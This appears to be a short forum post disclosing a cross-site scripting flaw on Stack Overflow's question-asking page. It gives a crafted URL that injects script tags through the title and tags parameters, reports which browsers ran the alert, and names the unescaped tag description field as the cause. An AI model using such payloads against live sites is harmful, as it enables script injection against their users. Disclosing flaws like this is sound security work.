Copy paste following in browser bar,
https://stackoverflow.com/questions/ask?title=test"><script>alert(1)</script>"&tags="></a></div><script>alert(/1/)</script><foo+bar="
or
test link (might work, but not sure)
- but firefox 3.6 without noscript, executed my xss.
- opera 11, executed my xss
- chrome somehow does not execute alert, but UI is broken,
Found out tag description field is not html escaped.